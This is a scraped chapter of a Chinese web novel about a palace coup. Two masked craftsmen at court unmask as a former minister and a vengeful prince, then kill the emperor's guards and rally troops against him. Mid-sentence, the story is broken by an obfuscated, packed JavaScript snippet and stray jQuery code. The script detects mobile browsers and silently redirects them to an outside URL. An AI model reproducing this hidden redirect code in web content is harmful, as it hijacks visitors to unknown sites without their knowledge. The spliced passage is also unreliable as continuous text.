文趣网 > 都市小说 > 丞相迟早要造反 > 122. 大淮新生·叁
    左侧那人眼角抽了一下,低声呵斥道:“闭嘴。”

    于是那人就乖乖闭嘴了,只是微扬起眉,看样子是在说:我说的一点都没错。要不是看在你的份上,我还能继续说。

    左侧的人十分之无语,把头往外偏了几寸,连余光都不给人留,这才和皇上应道:“正是。”

    这时候周围才有大臣反应过来这两人御前失仪,忙上前道:“你二人面朝陛下,竟连面罩都不取下,这也太失礼了!”

    皇上愣了一下,也反应过来。但他好面子,总不好说自己眼睛还没臣子尖。于是调整了一下自己的坐姿,故作平淡道:“你们叫什么名字?”

    “草民名字微贱,姓焦名霸霸。”“焦霸霸”回完皇上的问题,就扭过身去对着大臣作辑,也不摘下面罩来,只道,“这位大人误会了,我二人并不是御前失仪,而是我二人相貌……实在是不宜袒露。”

    见焦霸霸眉间紧蹙,臣子心中一霎。搭建房屋的匠人经常磕碰,甚至就连宫中都有些因造屋而毁容的。他内心不免生出一丝愧疚——这怕是说到匠人的伤心事了。

    皇上倒是从未了解过这些,所以有些生气地反问道:“若非丑如夜叉,何至于蒙面。”

    “焦霸霸”倒是坦然,大方回话。什么赞誉之词完全用不着打腹稿:“陛下火眼金睛,心思细腻。我二人曾施工时不慎跌落,毁容了。正是如此,我二人才不敢将面罩扯下。假使我二人真的存心和陛下过不去,在殿外早就被守卫拦下来了,哪里还有面圣的机会?多亏陛下照顾我二人自尊,草民应当叩谢。”

    这话说来,不仅完美地和大臣解释了原因,撇清了自己的嫌疑,让众人心生同情;还把皇上夸得美上了天,暗搓搓地和众人示意:陛下一早没问出这种话来,是早就发现了,并且为了照顾他们的心情特意没提出来。

    不仅如此,其实“焦霸霸”还委婉地夸了一通问话的臣子。

    陛下知道他们难言,但其他人未必,这种事情肯定要解释一番的。问话的臣子心思敏捷,立马和陛下来一通红白脸,打配合打的极好。既留足了他们二人尊严,也合理自然地把原因言明了。

    对臣子是暗搓搓地夸,臣子心里高兴了;对皇上则是明晃晃的夸,皇上心里也高兴了。

    皇上满意地点点头,心道“焦霸霸”真是长了一张好嘴,都不需要他自己辩解自己眼瞎的原因了,关键是这人不仅为他辩解了,还给他夸出了一个好形象。

    皇上龙心甚悦,大手一挥:“赏。”

    “焦霸霸”略带拘谨地一笑,也没问要赏什么,在皇上话音刚落时就答了谢。

    闹这么一出,众人注意力都被引到“焦霸霸”身上了,根本没人注意到左边那个惜字如金的匠人。

    一旁的巫太常疑惑地盯着两人,在二者之间停留了一下,就把目光定在了左边那人身上。

    不知为何,那个人给他的感觉非常熟悉。

    倒像是以前见过似的。

    难道是眼花?巫阁曳心道。

    那个人的被挺得笔直,一派从容不迫荣辱不惊的模样。虽说气态有些陌生,但那神态实在是太过熟悉了。

    那种淡定自若,运筹帷幄的气质是由内而外发的,根本模仿不来。

    一个工匠,哪来的那样足的气势?

    越看越不对劲。

    巫阁曳低下头,袖中偷偷掐着指头,默默卜了两卦。

    一卦是当今皇上的,一卦则是……未来的大淮正主。

    刚卜完,巫阁曳就吓得脚步酿跄,后退一步。

    他的脸上露出惊恐的神情。

    皇上注意到巫阁曳的动作,关切问道:“巫爱卿,你这是怎么了?”

    可别是什么阻煞吉日的事啊。

    巫阁曳再一次抬头,扫视周围。

    沈遇汶、林珏、韩与、楚嘉禾。这四个大权者皆是一副漠然模样,仿佛早就料到他的惊讶一般。

    皇上催的急促,巫阁曳吞咽了一下喉咙,道:“没,没什么。臣只是觉得左边这位匠人有些眼熟罢了,但年纪大了,记忆已经模糊了。许是臣认错了也说不定。”

    闻言,皇上无语地松懈下一口气,他还以为会出什么坏事呢,原来是巫阁曳自己头昏眼花。

    倒是后知后觉,皇上这才想到还没问完的话,看着左侧那人,示意让人报上名来。

    巫阁曳目光紧随。

    他方才卜到的卦……非常极端。

    一个是大凶,一个,则是大吉。

    只见左侧那人与皇上对视,面不改色心不跳。他并没有回头,却是很清楚巫阁曳站在哪里。清冷的声色如同破风的利箭,直直捅进巫阁曳的耳朵里。

    “想来巫大人确实是年纪大了,或许已经认不出草民。草民‘吴小六’,不知这个名字是否勾起大人几丝回忆?”

    说起吴小六,巫阁曳就想起来了。

    这不就是检举揭发江南付老九的小老百姓么?原来这吴小六还是个匠人。

    当年那事还引得朝中不少言论,他们还谈论过那没脸没皮猖狂嚣张的商贾,小小夸了一下这个大义的吴小六来着。

    只是……

    巫阁曳内心还是疑虑。

    他们都未曾和这个老百姓见过面,更别说说上一句话了。那么他哪里来的熟悉感?

    还有这如寒风刺骨毒蛇吐信的声音……

    太不对劲了。

    这吴小六好像是在这里待过许多年一样,明明也才第一回来,却不见一丝胆怯。

    好像这里本就是他的主场一样,可以随意发挥。

    “吴小六”看着皇上,没和焦霸霸一般两头说好话,而是直接反问皇上,语意中是带着几丝惊喜和期待:“陛下可知晓草民是谁?”

    ——尽管这人的眸子依旧冷冷冰冰,让人看着如坠冰窖。

    皇上噎了。

    他看不得“吴小六”那咄咄逼人的视线,下意识避开了眼,敷衍道:“记得,记得。”

    记得个屁。

    皇上连这个人名都没听过,能记得个什么?把记忆翻出来从头到尾捋一百遍都不知道吴小六是谁,又干了什么事。

    “吴小六”很显然不准备将此事放过,似是势必要刨根问底出结果来:“陛下,草民将事情说出后就回去干活了,至今还不止那群人的后果。草民斗胆问一句,陛下是如何惩治他们的?”

    “噗嗤。”话音刚落,殿中就传来一声不大不小的笑声。

    众人顺着声音投去目光,发现那正是近日来愈发低调的韩大人韩与。

    众大臣:……?

    吴小六在和陛下说话,这韩中丞笑个什么劲呢?

    疑惑才出,他们将视线收回,见着了皇上面容窘迫,这才了悟。

    ——这话问皇上等于白问啊,皇上什么时候操心过这种事情!

    当初这事情可是全权交予上官远和楚嘉禾处理的,要问也只能找他们去问,这吴小六不知情,还以为是皇上的功劳呢。

    这胆也斗的有些大了。

    皇上怔了半响,眼角微微抽着,神色已经是不耐烦了。

    “事情已经过去,定是办妥了的。此事朕当初是交给丞相和御史大夫去办,要问的话,你还是去他们俩跟前问吧!”

    “丞相?”吴小六重复了一遍,慢悠悠地接下后半句话,“草民记得那时候丞相不是卸职休沐中吗?怎么处理的?”

    听罢,一旁的楚嘉禾默默地扬起一个沧桑的笑容。

    但他什么声音也没发出,是以还没人看到他一言难尽的表情。

    皇上咬着牙,脸都气红了。指着吴小六,他骂道:“谁准你拿朕当犯人审的?!”

    吴小六无辜道:“有吗?没有吧,这些话不是陛下说的么,草民不过是有些疑惑而已。”

    旋即,“吴小六”挑起眼帘,好整似暇地看着皇上。面罩之下,他似乎是笑着的。只听他道:“陛下自认‘犯人’,这又是什么理?草民可从没有这种想法。当然,陛下若是自觉有罪过,草民也不敢辩驳什么。”

    皇上快要气炸了,他愤怒地指着吴小六,质问沈遇汶:“沈相,你怎么招匠人的?!招来这么个以下犯上好不造次的贱民!满嘴胡言乱语,怕不是是个痴的,给我拖下去,拖进牢里!”

    沈遇汶激动道:“陛下!三思!”

    朝中顿时议论纷纷。

    “陛下。”混乱中,“吴小六”那一声吐出的真是超凡脱俗,一下子就将众人视线拉到自己身前。他理了理袖子,接过上官远递上来的无字芴板,对皇上行了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17503053|202851||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个君臣礼。

    霎那间,周遭一片沉寂。

    只能听到几人倒吸凉气。

    “吴小六”不减丝毫气势,甚至都没怎么在意周围官员震惊的神色。他微躬了点身,这模样与三四年前几乎一模一样。

    ——只不过那时候“吴小六”是身着紫色官服,而这时候仅仅是穿了件束袖圆领袍罢了。

    他这个动作一摆出,大臣更是一惊!

    不仅大臣震惊,就连皇上都不敢置信地站起身来。

    就在周围目光聚集之处,“吴小六”道。

    “陛下,三思啊。”

    皇上指着“吴小六”,眼珠子都快要瞪出来了,他的手不住地颤,一瞬间觉得身子麻痹,血气上涌堵在咽喉,他语意颠倒:“到底……你这个刁民!你是谁?!”不及“吴小六”回答,他忙吼道:“来人!朕的亲卫呢?!把这个出言不逊嚣张至极的刁民给我就地斩首了!”

    顿时,站在四角的亲卫蜂拥而上,声势号涨。

    文臣们忙不迭地跑向四周,以避免战况殃及池鱼。武臣则分为两队,一队护着文臣,一队则跑上龙台,护在皇上身前。

    殿中央,只见“吴小六”背靠“焦霸霸”,右手一抚腰间,利落地甩了出去。一刹那,若隐若现的银针直射亲卫脖颈。根本数不尽有多少根,却能看到一排倒地不起口吐白沫的亲卫!

    另一侧有亲卫追上,“焦霸霸”则拉着“吴小六”弯下身来,避过亲卫长矛的同时横扫一腿,借势夺过亲卫腰中佩剑,手腕一翻便将人脖子抹了。

    血星四溅。

    几滴血沫子喷到了“焦霸霸”的面罩上,白色的布上晕染出妖异的红花。

    “焦霸霸”砍完人后就和“吴小六”分了开来,被十来个亲卫围在中央。但他依旧不慌不忙,一面游刃有余地和亲卫摸索,一面露出手上翠绿无暇的扳指,一把扯下自己的面罩。

    把身前最后一个亲卫一脚提到四尺外,见那人倒地上动弹不得,估摸是断了好些根肋骨,起不来了。“焦霸霸”这才得出闲心来把目光锁定在皇上身上。

    他一手慵懒地叉着腰,棕褐的眸子对着皇上,简直是要把人吞进深渊!

    “好容易为陛下量身定制的好名字,陛下竟一次也没叫过。”宋云舟哼笑道。“真是寒心啊。”

    皇上:!!!

    皇上躲在武官身后,他早就记不清宋云舟长什么模样了,但是他看见了宋云舟手中那一枚扳指。那扳指可是王室贵宦才能拥有之物!他就算脑子再差,此刻也明白了什么:“你是宋云舟?!贱民,你带头作乱,真是好大的胆子!朕要诛你九族!”

    “说话真是好笑。”宋云舟又是一剑把身前阻挡他脚步的亲卫给削了。那双眼里没掺什么情绪,拖着血水蜿蜒流下的长剑,他就像一只充满野性的狼王。宋云舟不屑笑道,“老子的九族早被你诛完了,还诛个屁啊。”

    不过,话锋顿转,宋云舟歪了歪头,眸中终于带了几丝揶揄的情绪,他道:“啊,我倒是忘了,那我与陛下还是稍微沾了那么点亲的,表的也算啊。陛下,你想杀了你自己?”

    他对护在皇帝身前的武官挑了挑眉:“陛下自己要求的,你们这还不上?”

    皇上心都提到嗓子眼了!

    另一头,“吴小六”施完暗器,又解决掉几人,直接捡起一人的长矛往身后掷去。这茅似有闪电之快,直直从众人眼前飞过。待“吴小六”转身时,长矛正好刺到皇帝脚尖衣摆处,狠狠插进地里,勾住了衣服,不得动弹。

    皇上慢了一拍才察觉到身前长矛,恐惧感立马激起,身子后背全部麻了,甚至一路麻到脑子里。他大喊:“啊!有人!人!谋害朕!”

    不仅是皇上震惊,就连护着皇上的武官也震惊了。

    ——这出茅速度,竟然比他们所有人的反应还快?!

    他们可是武臣!

    “吴小六”这才转过来身,站到宋云舟身侧,举起宋云舟带着扳指的右手,道。

    “朝中所有世子部下,即刻听令!”

    宋云舟用大拇指抹去脸边的血迹,眼中是熊熊燃烧的烈火。他接过“吴小六”的话,直指台上那个皇帝,嘴角勾起。

    ——“众部下随本王,一同灭了这不知天高地厚的昏君!”